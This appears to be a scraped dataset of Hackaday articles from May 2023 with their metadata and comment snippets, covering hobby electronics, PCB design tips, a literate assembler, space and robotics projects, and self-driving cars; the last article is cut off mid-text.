Controlling the music you hear in your car was the right idea, but these devices were just a little too early. Honestly, the fact that they seemed to work as well as they did was surprising. Ultimately, though, it would take advances in tape technology to make on-demand car audio practical. Tape gave way to optical, and now, all most people care about is integration with streaming from their cell phones. You have to wonder what will be next.
If record players are not familiar tech to you,
we can help you out
. If you are surprised that some people could pick their music in a 1959 automobile, would you believe
a navigation system in the 1970s
? Or the
1980s
? Or
even earlier
? | 15 | 12 | [
{
"comment_id": "6641178",
"author": "Ostracus",
"timestamp": "2023-05-09T19:55:29",
"content": "I can’t help but think an audio version of the CED might have worked better.https://en.wikipedia.org/wiki/Capacitance_Electronic_Disc",
"parent_id": null,
"depth": 1,
"replies": []
},
{
... | 1,760,372,305.556707 | ||
https://hackaday.com/2023/05/09/moisture-duck-gives-you-a-green-thumb/ | Moisture Duck Gives You A Green Thumb | Al Williams | [
"ATtiny Hacks",
"home hacks"
] | [
"moisture sensor",
"soil sensor"
] | Around the Hackaday bunker, any plant other than a cactus has a real chance of expiring due to thirst. Perhaps we should build some of [MakersFunDuck]’s
Moisture Duck boards
. As you can see in the video below, the simple PCB with an ATtiny13A tells you when it is time to water the plants. The video also covers several exotic methods of determining the watering status, some of which are pretty complex.
The board is simple because the operation of the device is simple. A fixed resistor creates a voltage divider with the soil, and dry soil has higher resistance than moist soil. A pot sets a threshold, and the microcontroller measures the voltages.
Of course, if you can’t remember to water the plants, you probably can’t remember to change batteries either. So the device sleeps most of the time, and only wakes up every eight seconds to conserve battery. It would be nice to alarm on a low battery, and, honestly, we would probably have made the sleep time longer.
The video covers how he minimizes corrosion, but we aren’t sure how well the board will survive in damp soil, but with a little protection, it might last a while. Besides that, you could probably just consider them almost disposable.
If you are really lazy, you can also
automate the actual watering
. You can even build that into
a smart flower pot
. | 19 | 6 | [
{
"comment_id": "6641111",
"author": "Artenz",
"timestamp": "2023-05-09T16:12:41",
"content": "To minimize corrosion, use an AC signal instead of DC. Do a quick measurement (as fast as you can) and then do the same measurement with swapped pins.",
"parent_id": null,
"depth": 1,
"replies"... | 1,760,372,306.199346 | ||
https://hackaday.com/2023/05/09/share-your-projects-making-helpful-pcbs/ | Share Your Projects: Making Helpful PCBs | Arya Voronova | [
"Hackaday Columns",
"how-to",
"Slider"
] | [
"artistic pcb",
"design",
"pcb",
"tips"
] | When it comes to things that hackers build, PCBs are a sizeable portion of our creative output. It’s no wonder – PCB design is a powerful way to participate in the hardware world, making your ideas all that more tangible with help of a friendly PCB fab. It’s often even more lovely when the PCB has been designed for you, and all you have to do is press “send” – bonus points if you can make a few changes for your own liking!
A lot of the time, our projects are untrodden ground, however, and a new design needs to be born. We pick out connectors, work through mechanical dimensions, figure out a schematic and check it with others, get the layout done, and look at it a few more times before sending it out for production. For a basic PCB, that is enough – but of course, it’s no fun to stop at ‘basic’, when there’s so many things you can do at hardly any cost.
Let’s step back a bit – you’ve just designed a board, and it’s great! It has all the chips and the connectors you could need, and theoretically, it’s even supposed to work first try. Now, let’s be fair, there’s an undeniable tendency – the more PCBs you design, the better each next one turns out, and you learn to spend less time on each board too. As someone with over two hundred PCBs under her belt, I’d like to show you a bunch of shortcuts that make your PCB more helpful, to yourself and others.
There’s a few ways that you can share your PCB projects in a more powerful way – I’d like to point out a few low-hanging fruits, whether README.md files or markings on the PCB itself. I’ve been experimenting quite a bit with external and embedded documentation of PCBs, as well as PCB sharing methods, got some fun results, and I’d like to share my toolkit through a few punchy examples and simple tricks. I’d also like to hear about yours – let’s chat!
Furnish It
Most of us start with a PCB covered with reference designators, and that’s fine – it’s the default for many PCB tools, after all. Make sure you’re not forgetting a few important things, though! After all, blank PCBs are indeed mysterious, but it’s a bit of an artform to pull off a blank PCB and not have it be a pain afterwards.
For a start, there’s a lot of place on your PCB, for things you might not have thought of. You will forget some things, you will mix some things up, and any other person who you give it to, will know even less – if you use silkscreen in certain ways, you can make your PCB not just connect things together electrically, but also keep you informed about its purpose, capabilities and limitations.
Is there a warning that users of your PCB should keep in mind, even if the only user would be you, but in the future? Put it on the silkscreen! For instance, input voltages and polarity for power connectors – if it’s not using some standard connector, be it USB or PS/2, at least putting small ‘+’ and ‘-‘ on the PCB is wonderful, and doubly so if you have a battery holder! Even if your input is USB-A or MicroUSB, which is a great proxy for “5V input”, it might be worthwhile to mark your amperage if your board would use more than 500mA-1A – since, often, USB ports can only provide that much.
Pinouts are useful to have as a reference, but they’re a kind of warning, too – an extra check before you plug something in. They also save a ton of time when you’re wiring things up – having to distract yourself and check a datasheet, a PCB image or even a KiCad window while soldering can sure slow you down.
As a guideline, every connector deserves its pinout marked on the silkscreen, on all sides it could be approached from. Let’s be fair, if desktop motherboards would put pinouts for the front panel headers on the silkscreen instead of burying them in the manual, we’d all be just a tiny bit happier. In those moments when you have the PCB on your hands and you’re eager to put it to use, it’s a bit frustrating to have to refer to the user manual for pinouts – and so often, there’s a way to fit them on the silkscreen, putting in a bit of care for the future you, or anyone else you’ve entrusted with a PCB of yours.
Having silkscreen markings on motherboards wasn’t always the norm
Of course, you might not always have space. That said, you can still do abbreviations – the QWIIC-like “GND VCC SDA SCL” can be shortened to “G V D C” if you must. You can also do things like changing pad shapes to delineate different power pin types – for instance, always use the square pad for GND. Oh, and the silkscreen isn’t the exclusive place for your text – you can put on text on the soldermask layer for either silver (HASL) or golden (ENIG) lettering, or perhaps, do higher-resolution text on the copper layer if you have enough PCB space. You can even
put markings on the copper inside your pads,
remember?
Do you need to add all of these? No! Do you want to add at least some of these? Absolutely! Pick the things you feel like are easy for you, make them into habits, and you’ll quickly gain skills in making your boards speak for themselves.
Dereference It
Here, I’d like to argue against putting reference designators on your PCB silkscreen- you know, things like R3 or C149. Unless you have heaps of space on a board, consider this – there’s lots of other things that take priority, and the more packed your board is, the smaller is the amount of place you have for these things.
Reference designators contain a ton of information, they’re visual clutter, arranging them takes a good chunk of time, and they’re exceptionally situational. From my experience, pinouts, instructions, warnings and descriptions are worth their weight in gold, and reference designators just, aren’t. Sure, the user might be interested in knowing that the barrel jack is marked J1 on the schematic, but do they know what voltage range is it intended for? Which one would you like them to keep in mind? Which one of these would you want to quickly check as you experiment?
Erasing all reference designators is super straightforward. Afterwards, you’re left with a ton of extra space – somewhere you can put your pinouts, instructions, diagrams, or even hopes and dreams. I personally don’t put reference designators on boards, and if you haven’t yet considered removing them, I recommend that you do.
You might argue there are good reasons for reference designators sometimes, and to that, I agree – it’s just that they’re situational. Your board house shouldn’t need designators – a large amount of PCBs are nowadays released without them, anyway, and you can always provide them with a PCB picture that has the F.Fab and B.Fab layers exported instead. Thinking about releasing rework instructions for your userbase? You should provide pictures either way.
I usually leave reference designators for things like jumpers, crucial parts like user-adjustable current setting resistors, and connectors – beyond that, it makes little to no sense to have references taking up space on the silkscreen.
Describe It
Now, there’s something that’s often missing from published PCBs – and that is a README file. It’s a bit painful to open a Github link and see nothing but a <code>kicad_pcb</code> and <code>kicad_sch</code> file – these are sufficient, but I’d like to know more about what your board does, beyond the filename. and it’s not hard to add either!
Here, reference designators wouldn’t even fit in the first place
Let’s say you’ve just designed a PCB. You’ve just put a metaphorical point in your project, and you have the entire context in your mind still, and it’s a satisfying point to be at – ain’t that wonderful! While you have ever aspect of the board available on a moment’s notice, open a README file in your text editor and spend a minute-two dumping your brain’s contents into a text file. What does your PCB help with? Which chips or parts are crucial for its purpose? Isn’t it wonderful that the PCB is done, and don’t you want the world to know about all the cool features you added?
So, write it all out, as much as you feel like it, but write something. You only really need a sentence or two for a sufficient README, and if you’re not too tired, you might find yourself writing a few more. However many sentences you write, it matters that a README is there. I personally start with
a template
that lists a few commonplace board things and pre-filled metadata fields, and also has things like disclaimers about the design being untested or unfinished – quite worthwhile to have!
There’s more uses for a README – for instance, whenever you’re releasing a new version, you can add a section describing what changed, what got fixed, what got added or removed – just put them as bullet points in the same README. This helps in debugging, and also informs the user that there’s more than one version of this board in existence.
Name It
Some of my personal projects are on their fifth revision, with the PCB’s looks having long stabilized. Having the version number on a visible spot has been a lifesaver of a practice – especially when I’m dealing with a PCB where v2 just works, but v1 requires an intense magnet wire fix. Unlike with software, the PCB version can be a single number – the PCB release cycle is way slower than software, so things like semver would just be wasted PCB space.
With my PCBs used by me a lot, and sometimes even used by other people, I’ve come to a short naming formula that works well. On the silkscreen, I put “BOARDNAME by AUTHOR, vVERSION” – for instance, “PS/2 to USB adapter by Arya, v1”. It’s short and sweet, and even if you don’t have any energy to work on the board’s silkscreen, perhaps this is the thing that can stay.
With PCBs, sometimes you want to share them with everyone else, but even if you don’t intend to, you still have to share them with you from the future. These few aspects matter, and as you learn to prepare , you’ll find that your work is more useful to others than ever. | 38 | 15 | [
{
"comment_id": "6641087",
"author": "Pat",
"timestamp": "2023-05-09T14:16:16",
"content": "If you don’t want to delete all refdes markings, just delete decoupling cap refdes markings and replace them with a single letter/symbol that designates what they are, and document that somewhere on the board... | 1,760,372,306.385303 | ||
https://hackaday.com/2023/05/09/minimal-usb-device-connects-with-just-a-couple-of-resistors/ | Minimal USB Device Connects With Just A Couple Of Resistors | Dan Maloney | [
"computer hacks"
] | [
"3V3",
"D+",
"Device Manager",
"dmesg",
"pull-up",
"usb"
] | If you’re like most of us, your basic approach to building something boils down to: “What’s the minimum amount I need to do to get this to work?” It’s not a bad strategy in general, but the minimal build is rarely enough to meet all the requirements, as this
extremely minimal but functional USB device illustrates
.
Functional, yes, but as [TM] explains, only if you define functional as being recognized by your operating system. The BOM for that job turns out to be really small — a 3.3-volt regulator, its capacitor, and a pair of resistors connected to a DIP switch. The resistors, 1.5k each, are connected to the D+ and D- lines of the USB connector and pull their respective lines up to 3V3 when their switch is closed. If the D- switch is thrown, it indicates a low-speed connection is requested, while D+ requests a speedier connection. Either way, its enough to get the familiar “USB connect” sound in Windows, and to see it listed in Device Manager or
dmesg
on Linux.
With no microcontroller to return a device descriptor, not much else happens, of course, but it’s still interesting that so little is needed to at least get the host machine to know that something was plugged in. And that alone has some diagnostic value; as [TM] points out, you could use this circuit to test that the physical port on the host at least minimally works.
He runs through a few other potentially useful scenarios, but really, the best use of something like this is to educate yourself on the lowest levels of USB connection negotiation. If you want to dive deeper into USB-C specifically, we suggest you check out [Arya Voronova]’s
“All About USB-C” series
. | 10 | 6 | [
{
"comment_id": "6641070",
"author": "zoobab",
"timestamp": "2023-05-09T13:19:41",
"content": "Add to that a USB connector with 4 rails of stripboard and over soldering?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6641080",
"author": "jpa",
"timesta... | 1,760,372,306.246012 | ||
https://hackaday.com/2023/05/09/giving-a-tinge-of-color-to-the-mars-map-courtesy-of-the-uaes-hope-orbiter/ | Giving A Tinge Of Color To The Mars Map Courtesy Of The UAE’s Hope Orbiter | Maya Posch | [
"Space"
] | [
"Emirates Mars Mission",
"Hope orbiter",
"mars",
"mars atlas"
] | Since the United Arab Emirates’ Hope (“Al-Amal”) orbiter made it safely into orbit around Mars on February 9, 2021, it’s been busy using its onboard instruments to measure everything it could about not only the planet’s atmosphere but also its surface and how both change seasonally. The first months of results of these detailed captures of Mars have now been released in the form of the full-color
Mars Atlas
website, and a pretty well made
PDF version
of the Atlas that can be downloaded from the website.
Although the
Emirates Mars Mission
is not the first to capture the surface or seasons of Mars — with the Mars Reconnaissance Orbiter (MRO)’s Context Camera (CTX) having gifted us the result of many thousands of captures in a
massive monochrome mosaic
of Mars’ surface — it’s good to remember that Hope is only just getting started. The current atlas is the result of about 3,000 captures from the Emirates eXploration Imager (EXI) multi-band camera (with better than 8 km spatial resolution), with new images in the pipeline.
Hope has transitioned from a low 1,072 km orbit to a higher, science orbit on March 29, which gives the orbiter a good view of the seasonal transitions on the Red Planet. Along with data from other current Mars orbiters, we should be able to piece together the most detailed atlas yet, even before
more helicopters will zip along Mars’ surface
. | 0 | 0 | [] | 1,760,372,306.418455 | ||
https://hackaday.com/2023/05/08/arctos-robotics-build-a-robot-arm-out-of-3d-printer-spares/ | Arctos Robotics: Build A Robot Arm Out Of 3D Printer Spares? | Dave Rowntree | [
"Robots Hacks"
] | [
"3d printed",
"Arduino Mega 2560",
"CNC shield",
"cycloidal drive",
"grbl",
"NEMA17",
"nema23",
"PLA",
"robot arm",
"ros",
"Simulink"
] | ARCTOS is a 6-DOF robot arm
based upon 3D printed mechanics running a modified version of GRBL firmware. Let’s get this straight now, the firmware is open source, but the hardware plans are a paid download, but for less than forty euros, we reckon the investment would be well worth it, judging from the quality of the build instructions and the software support already in place.
Looking at the bill of materials, there’s nothing there that is a challenge to source. The mechanical parts and
casings are designed to be printed in PLA, requiring 3 kg of filament. The required layer height is 0.28mm, with a 0.4mm nozzle, so should easy to find in any decent hackerspace. The motors are the usual NEMA17 and NEMA23 steppers, paired with GT2 pullies and belts. The only required special parts are a couple of lengths of 4mm smooth stainless rod, and some M4 and M3 threaded rods, all of which many of us would have on hand anyway. The Y-axis and Z-axis both feature a cycloidal gearbox, producing decent torque in a compact format, which the team reckons is sufficient for about 500g of payload capacity. The X-axis uses a simple belt drive since all the load is vertically on the bearing. The remaining three axes (A, B, and C) are also direct belt drive. We suspect that the specified load capacity would have to include any end effector which may be fitted, so that would need to be allowed for in practice, but 500g is pretty healthy for a 3D printed unit.
On the electronics side of things, a bog standard CNC shield hosts A4988 or DRV8825 stepper driver modules and sits atop an Arduino Mega2560. No mention is made in the BoM of the rotational encoders required for closed-loop operation, but they are clearly present in the build manual. Some documentation polish is required, but there’s nothing too bad that any skilled builder couldn’t cope with. The
project GitHub
hosts the necessary setup files for running ROS, as well as a simple forward kinematics model for Simulink, which while very basic, is at least a start.
We do like robot walkers, robot arms, and robot worms, a lot. But sticking with just one limb for now, here’s another
cracker of a robot arm project
, but we suspect out of the price range of most but the dedicated of robot hackers. Don’t want heavy stepper motors, but cheap servo motor accuracy not doing it for you?
Checkout this improvement
. | 11 | 4 | [
{
"comment_id": "6640997",
"author": "Miles",
"timestamp": "2023-05-09T06:08:40",
"content": "Sorry to say M3 and M3 threaded rod aren’t commonly stocked across the pond, but of course can be ordered. Too bad if there isnt an option to use an alternative size like 8-32 or 10-32.Looks neat, want to ... | 1,760,372,306.305193 | ||
https://hackaday.com/2023/05/08/3d-printed-aerospike-was-designed-by-ai/ | 3D Printed Aerospike Was Designed By AI | Navarre Bartz | [
"3d Printer hacks",
"Artificial Intelligence",
"Space"
] | [
"3d printed rocket engine",
"aerospike",
"generative design",
"genetic algorithm",
"hybrid rocket",
"rocket",
"rocketry"
] | We’re still in the early days of generatively-designed objects, but when combined with the capabilities of 3D printing, we’re already seeing some interesting results. One example is this new
copper aerospike engine
. [via
Fabbaloo
]
A collaboration between startups Hyperganic (generative AI CAD) and
AMCM
(additive manufacturing), this 800 mm long aerospike engine may be the most complicated 3D print yet. It continues the exciting work being done with
3D printing for aerospace applications
. The complicated
geometries of rocket nozzles
of any type let additive manufacturing really shine, so the combination of generative algorithms and 3D printed nozzles could result in some big leaps in coming years.
Aerospikes are interesting as their geometry isn’t pressure dependent like more typical bell-shaped rocket nozzles meaning you only need one engine for your entire flight profile instead of the traditional switching mid-flight. A linear
aerospike engine
was one of the main selling points for the cancelled
VentureStar
Space Shuttle replacement.
This isn’t the only
generative design
headed to space, and we’ve covered a few projects if you’re interested in building your own
3D printed rocket nozzles
or
aerospike engines
. Just make sure you get clearance from your local aviation regulator before your project goes to space! | 36 | 10 | [
{
"comment_id": "6640955",
"author": "RobHeffo",
"timestamp": "2023-05-09T02:15:37",
"content": "The article was from 2022. I would like to know if it worked or not? Did they fire it?? What happened!! It seems to have vanished after the press release.",
"parent_id": null,
"depth": 1,
"re... | 1,760,372,306.833166 | ||
https://hackaday.com/2023/05/08/a-tale-of-two-pulse-modulators/ | A Tale Of Two Pulse Modulators | Al Williams | [
"Teardown",
"Tool Hacks"
] | [
"Coax",
"pulse modulator",
"test equipment"
] | In the realm of test equipment, there are a number of items that you don’t know you need until you need one. That’s probably the case with the HP11720A pulse modulator. [Tom]
acquired two of these
even though, by his own admission, he had “no need for these things.” We’d like to say we don’t get that, but — alas — we do.
The good news, though, is he used one of them to measure the quality of some coax cable and shared the exercise with us in the post and a video, which you can watch below. The device can generate pulses with extremely fast rise and fall times (under 10 nanoseconds) at frequencies from 2 to 18 GHz. These were often used in pulsed radar applications and probably cost quite a bit more new than [Tom] shelled out for them.
We also get a peek inside the 1970s-era box. The construction is neat, and it uses a PIN diode for RF switching. The manual has a schematic and theory of operation section, which [Tom] summarizes in the post. The stack of test gear is, by itself, very impressive, and if you are interested in the performance of coax, you might find the actual data useful, too.
We’ve seen many
pulse generators
, but few with the specs of these. If you need something more modest, you can easily
homebrew something with some 555s
. But don’t expect nanoseconds and gigahertz! | 7 | 4 | [
{
"comment_id": "6640898",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-05-08T23:14:22",
"content": "I’m unfamiliar with the term “Pulse Modulator”Though I do own an HP Pulse Generator.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "66... | 1,760,372,306.763864 | ||
https://hackaday.com/2023/05/08/converting-a-bw-exposer-head-for-colour-analog-photo-printing/ | Converting A B&W Enlarger For Colour Analog Photo Printing | Dave Rowntree | [
"LED Hacks"
] | [
"analog photography",
"arduino nano",
"COB LED",
"MCP23016",
"PCA9685",
"pwm",
"RA4",
"RGB LED"
] | [Koraks tinkers] was gifted a gargantuan photographic enlarger, a Durst Laborator 138 s, which is a unit designed specifically for black and white usage only. This was not good enough for [Koraks] so
down the rabbit hole of conversion to colour we go
! The moral of the story is this: if you can’t find it, build it. The hacker mentality. After wasting time and effort trying to source a period colour head for the thing, [Koraks] did the decent thing and converted what was already in front of them.
A hacked Chinese-sourced COB array. This is no use.
Now, if you’re thinking this process is simply a matter of ripping out the tungsten bulb and sticking a high-power RGB array in there, then you’re going to be disappointed! You see, colour photography of the era — specifically the
RA4 process
in this case — requires careful colour calibration and is heavily biased towards the red end of the visible spectrum, due to the colour curve of those tungsten bulbs we touched upon earlier.
Attempt 2: With a heavy bias towards the red end of the spectrum
The first attempt at using an off-the-shelf COB array was a bust — it simply wasn’t bright enough once the light had passed through the diffuser plate, and the light path losses were too high to expose the RA4 paper sufficiently, especially at the red end of the spectrum. Quite simply this is due to the reduced energy of red photons (compared to blue) making the desired chemical reaction rate too low. The solution is more power.
Another issue that quickly raised itself was that 8-bits of PWM control of the RGB components was inadequate since the ratio of blue to red required was so skewed, that only a few effective bits of blue channel control were usable, and that was far too granular to get the necessary accuracy.
[Koraks’] approach was to custom build an LED array with twenty red 3W LEDs and eight each of the green and blue devices. 12-bits of PWM resolution was delivered via a PCA9685 PWM controller, that also handily controlled the cooling fans. The whole thing was hooked up to an Arduino Nano, with an MCP23016 expander board performing the duty of interfacing the rotary encoders and trigger footswitch. In fact, several iterations of the LED array have been constructed and this four-part blog series (
Part1
,
Part2
,
Part3
,
Part4
) lays out the whole story in all its gory detail for your entertainment. Enjoy!
COB LED arrays are pretty nifty, checkout
turning them into 7-segment displays
, just because. If all you want is raw power, we reckon that
100W “should be enough for anyone…”
Thanks [macsimski] for the tip!
Update: Corrected the article header from ‘exposer head’ to ‘enlarger’ for clarity at the request of the project author. | 16 | 7 | [
{
"comment_id": "6640824",
"author": "sirgio",
"timestamp": "2023-05-08T21:10:02",
"content": "Similar setup is used by football hooligans for those impressive cardboard displays.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6640859",
"author": "Llaves",... | 1,760,372,306.89 | ||
https://hackaday.com/2023/05/08/vcf-east-2023-alan-wolke-on-his-passion-for-tech/ | VCF East 2023: Alan Wolke On His Passion For Tech | Tom Nardi | [
"Interviews",
"Retrocomputing"
] | [
"ham radio",
"VCF East 2023",
"Vintage Computer Festival East",
"vintage computing"
] | If you’re one of the more than 180,000 subscribers to
[Alan Wolke]’s YouTube channel W2AEW
, you’ll know he’s a lover of old test gear and ham radio hardware. You may have followed one of his tutorials, or referenced his work while repairing or upgrading your own equipment. But when we got a chance to
talk to him one-on-one during Vintage Computer Festival East 2023
, we were treated to a more personal look at the man himself.
Like many of us, [Alan] says he got his start with electronics at a young age simply by taking things apart and trying to put them back together again. From there he got a job in a TV repair shop during high school, where he was able to hone his natural curiosity into a marketable skill. His career took him through several of tech companies, but he ultimately ended up in an engineering role at Tektronix, a position he’s held for nearly 20 years.
Despite continuing to stay on the cutting edge, it’s no surprise that he still has a certain attraction to the technology from his youth. But it’s more than simple nostalgia — he points out that vintage hardware is generally easier to service than modern gear. As many of his own videos show, there was something of a technological “sweet spot” around the mid-20th century to the 1980s or so; where you could expect to not only have schematics available, but the design and construction of hardware was such that you could still reason your way through it using basic troubleshooting principles.
As for being a ham, [Alan] thinks it’s a great way for get an even deeper understanding of technology. He says that if you’re interested in learning how electronics work, repairing and upgrading old radio hardware is a great way to flex your mental muscles. But at the same time, being a ham isn’t limited to dusting off war-surplus radios that were built before you were born. There’s plenty of ways to mix in modern technology, from digital modes to receiving signals from satellites using a software-defined radio.
[Alan] was just one of the fascinating people we got a chance to speak with during our visit to the 2023 Vintage Computer Festival East. We’ve still got more interviews to come, but in the meantime, you can
check out our previous coverage of this incredible retrocomputing event
. | 3 | 2 | [
{
"comment_id": "6640757",
"author": "Bil Herd",
"timestamp": "2023-05-08T18:48:19",
"content": "Woot! W2AEW!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6641389",
"author": "Elliot Williams",
"timestamp": "2023-05-10T15:14:43",
"c... | 1,760,372,306.719893 | ||
https://hackaday.com/2023/05/08/a-literate-assembly-language/ | A Literate Assembly Language | Al Williams | [
"Hackaday Columns",
"Rants",
"Slider",
"Software Development",
"Software Hacks"
] | [
"assembly language"
] | A recent edition of [Babbage’s]
The Chip Letter discusses the obscurity of assembly language
. He points out, and I think correctly, that assembly language is more often read than written, yet nearly all of them are hampered by obscurity left over from the days when punched cards had 80 columns and a six-letter symbol was all you could manage in the limited memory space of the computer. For example, without looking it up, what does the ARM instruction FJCVTZS do? The instruction’s full name is Floating-point Javascript Convert to Signed Fixed-point Rounding Towards Zero. Not super helpful.
But it did occur to me that nothing is stopping you from writing a literate assembler that is made to be easier to read. First, most C compilers will accept
some sort of asm statement
, and you could probably manage that with compile-time string construction and macros. However, I think there is a better possibility.
Reuse, Recycle
Since I sometimes develop new CPU architectures, I have a universal cross assembler that is, honestly, an ugly hack, but it works quite well. I’ve
talked about it before
, but if you don’t want to read the whole post about it, it uses some simple tricks to convert standard-looking assembly language formats into C code that is then compiled. Executing the resulting program outputs the desired machine language into a desired file format. It is very easy to set up, and in the middle, there’s a nice C program that emits machine code. It is not much more readable than the raw assembly, but you shouldn’t have to see it. But what if we started the process there and made the format readable?
At the heart of the system is a C program that lives in
soloasm.c
. It handles command line options and output file generation. It calls an external function,
genasm
with a single integer argument. When that argument is set to 1, it indicates the assembler is in its first pass, and you only need to fill in label values with real numbers. If the pass is a 2, it means actually fill in the array that holds the code.
That array is defined in the
__solo_info
instruction (
soloasm.h
). It includes the size of the memory, a pointer to the code, the processor’s word size, the beginning and end addresses, and an error flag. Normally, the system converts your assembly language input into a bunch of function calls it writes inside the
genasm
function. But in this case, I want to reuse
soloasm.c
to create a literate assembly language.
Modernize
I wrote all this a long time ago, but I wanted the creation of literate assembly to be easier, so I decided to do a low-effort conversion to C++. This allows you to use nice data structures for the symbol table, for example. However, I didn’t use all the C++ features I could have, simply in the interest of time.
The base class is reasonably agnostic about the processor, and, as an example, I’ve provided a literate RCA 1802 assembler. Just a proof of concept, so I could probably name the instructions a bit more consistently, and there is plenty of room for other improvements, but it gets my point across.
Here’s an excerpt of a blinking light program written for the 1802 using the standard assembler syntax:
ORG 0
Main:
LDI HIGH(R3Go)
PHI R3
LDI LOW(R3Go)
PLO R3
SEP R3
R3Go: LDI HIGH(Delay)
PHI R9
LDI LOW(Delay)
PLO R9
LDI HIGH(Stack)
PHI R7
LDI LOW(Stack)
PLO R7
SEX R7
LDI 0
STR R7
Loop: OUT 4
. . .
NOP
BR DELAY1
ORG $F0
Stack: DB 0
END Main
Now here is the exact same written for the literate assembler:
// Simple 1802 Literate Program
#include "lit1802.h"
#define ON 1
#define OFF 0
#define DELAYPC 9 // delay subroutine
#define DELAYR 8 // delay count register
#define MAINPC 3 // Main routine PC
#define RX 7 // RX value
#define DELAYVAL 0xFF // time to delay (0-255)
void Program(void)
{
Origin(0x0);
// Blinky light program
// Main:
Define_Label("Main");
// Force R3 as PC just in case
Load_R_Label(MAINPC,"R3Go");
Set_PC_To_Register(MAINPC);
// Here we are P=3
// R3Go:
Define_Label("R3Go");
// Set R9 to delay routine (default PC=0)
Load_R_Label(DELAYPC,"Delay");
// Set RX=7 at memory 00F0
Load_R_Label(RX,"Stack");
Set_X_To_Register(RX);
Load_D_Imm(0);
Store_D_To_Reg_Address(RX);
// Loop:
Define_Label("Loop");
Output_Mem_RX_Incr(4); // write count to LED
. . .
NOP(10);
Branch(Label("Delay1")); // note... could define BRANCH as _BRANCH and then #define Branch(l) _BRANCH(Label(l)) if you like...
Location(0xF0); // storage for RX
// Stack:
Define_Label("Stack");
Byte();
End_Program(Label("Main")); // End of program
}
Well, admittedly, there are comments and symbols, but still. You can download
both files
if you want to compare. You can also find the
entire project online
.
Under the Hood
The idea is simple. Each function simply populates an array with the byte or bytes necessary. Admittedly, the 1802 is pretty simple. It would be harder to do this for a modern processor with many instructions and complex modes. But not impossible.
You can do lots of things to make life easier, both while programming and while setting up instructions. For example, if you wanted 100 NOP instructions, you could write:
for (int i = 0 ; i < 100 ; i++) NOP();
On the other hand, NOP has an optional argument that will do it for you. You can freely use the C++ compiler and the macro preprocessor to make your life easier. For example, a common task on the 1802 is putting a constant value like a label into a register. The
lit1802.h
file has a macro to make this easy:
void Load_R_Label(uint8_t reg,const std::string s)
{
Load_D_Imm(HIGH(s));
Put_High_Register(reg);
Load_D_Imm(LOW(s));
Put_Low_Register(reg);
}
Obviously, you can change the names to suit or have as many aliases as you want. Don’t forget that function call overhead, like calling
Load_R_Label
, is incurred at compile time. You wind up with the same machine code either way.
The assembler is two-pass. The first pass only defines labels. The second pass generates real code. This would make it hard, for example, to create a smart jump instruction that used a branch when the target was near and a long jump when it was far unless you don’t mind padding the branch with a NOP, which would not save space but might save execution time.
There would be other complications for a modern processor. For example, not trying to allocate the entire memory space or generating relocatable output. But this is truly a proof-of-concept. None of those things are impossible, they are just more work.
Bottom Line
I’ve written and read dozens of assembly languages for years, so I’m pretty comfortable with the status quo and I’m unlikely to use
litasm
myself. However, I did think [Babbage’s] point was well made. If you want to make assembly more readable, there are benefits and this shows it doesn’t have to be that hard to do. You could also write a
litasm
disassembler to convert object code into this kind of format.
Want to know more about the
Universal Assembler
? If you’d rather tackle practical x86-64 assembly, we know a
good place to start
. | 80 | 41 | [
{
"comment_id": "6640692",
"author": "Jan",
"timestamp": "2023-05-08T17:32:35",
"content": "Interesting idea, but I stick to the original form, less typing. Although in practice programming is mostly about thinking what to type instead of typing. Unless it’s a movie, then people are able to program ... | 1,760,372,307.004185 | ||
https://hackaday.com/2023/05/08/hackaday-prize-2023-the-realities-of-the-homework-machine/ | Hackaday Prize 2023: The Realities Of The Homework Machine | Matthew Carlson | [
"3d Printer hacks"
] | [
"handwriting",
"homework"
] | For those outside the world of education, it can be hard to judge the impact that ChatGPT has had on homework assignments. If you didn’t know, the first challenge of the 2023 Hackaday Prize is focused on improving education. [Devadath P R] decided that the best way to help teachers and teaching culture was to confront them head-on with our new reality by
building the homework machine
.
The goal of the machine is to be able to stick in any worksheet or assignment and have it write out the answers in your own handwriting, and so far, the results are pretty impressive. There are already pen holder tools for 3D printers, but they often have a few drawbacks. Existing tools often take quite a while to generate G-Code for long pages of text. Hobby servos to lift the pen up and down take more wear than you’d expect as a single page has thousands of actuations. Vibrations are also a problem as they are a dead giveaway that the text was not human-written. [Devadath] created a small Python GUI to record their particular handwriting style on a graphics tablet and used ChatGPT to generate answers.
Multiple versions of each character are used, though [Devadath] plans on slightly varying the strokes as needed to create variation. A hand-rolled Python script outputs G-Code with page turns include, which makes it easy to dump multi-page content in. The core XY CNC pen plotter glides on linear rails, runs on Klipper firmware with vibration cancellation, and has an actuator driven by a stepper for longevity. To [Devadath]’s credit, they have been using this setup since 2022, and teachers haven’t noticed so far. They say the plan to open-source the code and design for the plotter once they’re finished iterating.
It demonstrates AI’s capabilities and what can be built with parts on hand. Whether it pushes education away from rote memorization remains to be seen.
The
Hackaday
Prize 2023
is Sponsored by: | 83 | 11 | [
{
"comment_id": "6640648",
"author": "David Beck",
"timestamp": "2023-05-08T16:09:19",
"content": "The following statements in your article are an example of a misguided project that does harm to the student and his education. I fail to see how this helps a teacher. Rather, this project lets a stude... | 1,760,372,307.118058 | ||
https://hackaday.com/2023/05/08/ask-hackaday-why-do-self-driving-cars-keep-causing-traffic-jams/ | Ask Hackaday: Why Do Self Driving Cars Keep Causing Traffic Jams? | Lewin Day | [
"car hacks",
"Current Events",
"Featured",
"Original Art",
"Slider",
"Transportation Hacks"
] | [
"cars",
"cruise",
"san francisco",
"self-driving cars",
"Waymo"
] | Despite what some people might tell you, self-driving cars aren’t really on the market yet. Instead, there’s a small handful of startups and big tech companies that are rapidly developing prototypes of this technology. These vehicles are furiously testing in various cities around the world.
In fact, depending on where you live, you might have noticed them out and about. Not least because many of them keep causing traffic jams, much to the frustration of their fellow road users. Let’s dive in and look at what’s going wrong.
Ground Zero: San Francisco
Waymo has been operating a fleet of fully-driverless vehicles in cities including Phoenix and San Francisco.
Credit: Waymo
Two of the biggest companies in the self-driving space are Cruise and Waymo, tied to General Motors and Google’s head company Alphabet, respectively. Both operate prototype fleets in San Francisco, with the city offering a perfect training ground for autonomous vehicles. The busy metropolis is no cakewalk, with plenty of tight streets, busy traffic, and various types of public transport to contend with.
